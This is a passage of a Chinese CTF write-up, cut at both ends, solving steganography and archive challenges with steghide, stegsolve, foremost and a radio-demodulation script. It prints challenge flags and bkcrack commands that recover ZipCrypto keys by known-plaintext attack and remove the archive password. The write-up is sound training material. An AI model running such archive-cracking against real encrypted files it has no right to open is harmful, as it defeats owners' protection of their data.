170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=679ade79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFImPXOgaQEtibibJwJTK73JGVYAXHT8tyCYUdrlcMH9HlTzo0jwKoEKOQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flag{N0w_U-V1ctory}</span></strong></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Hidden</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">查看LSB隐写</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.26629680998613037" data-type="png" data-w="721" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030143" src="https://wechat2rss.xlab.app/img-proxy/?k=8352f8b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFYmMKXaJbW9TWPlbBia0BFnTbjFUicbVhia5Fd18E16309laWPH786rDdQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">steghide解bmp</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">steghide extract -sf </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;treasure.bmp&#39;</span></span><span leaf=""> -p PixelWhisper</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">bluex</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">用stegsolve查看蓝色通道发现隐藏数据</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7293790546802595" data-type="png" data-w="1079" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030145" src="https://wechat2rss.xlab.app/img-proxy/?k=e329d33b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFjhs91YIWicgoIqsqWNHaoYQJbBph8w6ct1yJvnDiaDJiaVt8hIe0hsI5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">保存得到加密压缩包</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.075" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030144" src="https://wechat2rss.xlab.app/img-proxy/?k=cca7045b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgF9qTwQBZJvCNiaKAjBcGP57aQAGDichCzx1cknHgva2P8HsLRM6LrMvibA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">明文攻击</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps &gt; png_header</span><span leaf=""><br/></span><span leaf="">.\bkcrack.exe -C .\output.zip -c xor.png -p .\png_header -o 0</span><span leaf=""><br/></span><span leaf="">.\bkcrack.exe -C .\output.zip -c xor.png -k 68cc45ab 864060ce ac958caa -U 111.zip 111</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解压得到图片，在末尾发现第二张图片，手动提取</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100030147" data-ratio="0.625" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=065edbbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgF6DcUPxvBQ8X47zeCX9azKnEPH3rrmjhcfrUHNs0HYRXEibZZc0ohLCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">仔细看会发现蓝色横向虚线，这是使用双图片盲水印工具会留下的标志，图片名称为 xor.png，提示 XOR</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用stegsolve的图片合成器功能，将 xor.png 与其末尾的图片进行异或</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">得到新的图片，再将新图片和 xor.png 进行双图片盲水印解密</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2638888888888889" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030149" src="https://wechat2rss.xlab.app/img-proxy/?k=76093246&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFrTpsGlqScepaWP0AmS0CRiaSAUwa2yuYdP2sSTUq25fenkonLmJdBqQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">得到：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100030152" data-ratio="0.625" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=59b37a0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgF785nMmnBK69QvE5An0ScUHXAI0nfAP31Tnhqh5gH3RWLlQESA4RUWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">flag{a5e2ffeb-133e-4eb0-9855-d4d0078326ee}</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">ZipCracker</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">伪加密，得到</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">do u know it (是radio配置)</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">something in it.jpg</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">flag.zip</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">jpg中有zip，foremost提取</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2286282306163022" data-type="png" data-w="1006" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030148" src="https://wechat2rss.xlab.app/img-proxy/?k=117ee64b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFDJz8Qt7pYoPRJPza3m0DHs8OMROWoVE4oPrkUOWYyBW12YzpypiaVvA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">用radio配置看下，应该是需要去还原password.wav，上面有flag1和2</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100030150" data-ratio="0.5580524344569289" data-type="png" data-w="1068" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e8398e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFKNOib35RKG4EvsUGgoibBF9Wjf9JRqCV30Ficu4J3XGpjiaibIHv9d2iaoDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">让AI结合配置，写个反向操作</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> numpy </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> np</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> scipy.signal </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> firwin, lfilter, decimate</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> scipy.io.wavfile </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> write</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sounddevice </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> sd</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> matplotlib.pyplot </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> plt</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> scipy.fft </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> fft, fftfreq</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ===================== 核心配置（与 GRC 保持一致）=====================</span></span><span leaf=""><br/></span><span leaf="">IF_RATE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">192000</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if_rate = usrp_rate / 3 = 576000 / 3</span></span><span leaf=""><br/></span><span leaf="">AUDIO_RATE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">48000</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># samp_rate（音频采样率）</span></span><span leaf=""><br/></span><span leaf="">MAX_DEV = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5000</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># NBFM 最大频偏（与 analog_nbfm_tx_0 的 max_dev 一致）</span></span><span leaf=""><br/></span><span leaf="">PL_FREQ = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># PL 亚音频率（0 表示关闭，可改为你实际选择的数值如 67.0）</span></span><span leaf=""><br/></span><span leaf="">VOLUME = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.8</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 输出音量（避免失真）</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ===================== 核心函数 =====================</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">read_flag_files</span></span><span style="line-height: 26px;"><span leaf="">(flag1_path: str = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;flag1.txt&#34;</span></span><span leaf="">, flag2_path: str = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;flag2.txt&#34;</span></span><span leaf="">)</span></span><span leaf=""> -&gt; np.ndarray:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    读取 flag1/2.txt，还原复信号</span><span leaf=""><br/></span><span leaf="">    :param flag1_path: 实部数据文件路径</span><span leaf=""><br/></span><span leaf="">    :param flag2_path: 虚部数据文件路径</span><span leaf=""><br/></span><span leaf="">    :return: 复信号数组</span><span leaf=""><br/></span><span leaf="">    &#34;&#34;&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 读取 float32 格式的原始数据</span></span><span leaf=""><br/></span><span leaf="">        real_data = np.fromfile(flag1_path, dtype=np.float32)</span><span leaf=""><br/></span><span leaf="">        imag_data = np.fromfile(flag2_path, dtype=np.float32)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 对齐数据长度（防止文件长度不一致）</span></span><span leaf=""><br/></span><span leaf="">        min_len = min(len(real_data), len(imag_data))</span><span leaf=""><br/></span><span leaf="">        real_data = real_data[:min_len]</span><span leaf=""><br/></span><span leaf="">        imag_data = imag_data[:min_len]</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 还原复信号</span></span><span leaf=""><br/></span><span leaf="">        complex_signal = real_data + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1j</span></span><span leaf=""> * imag_data</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 打印信号信息</span></span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\n✅ 成功读取 flag 文件&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span 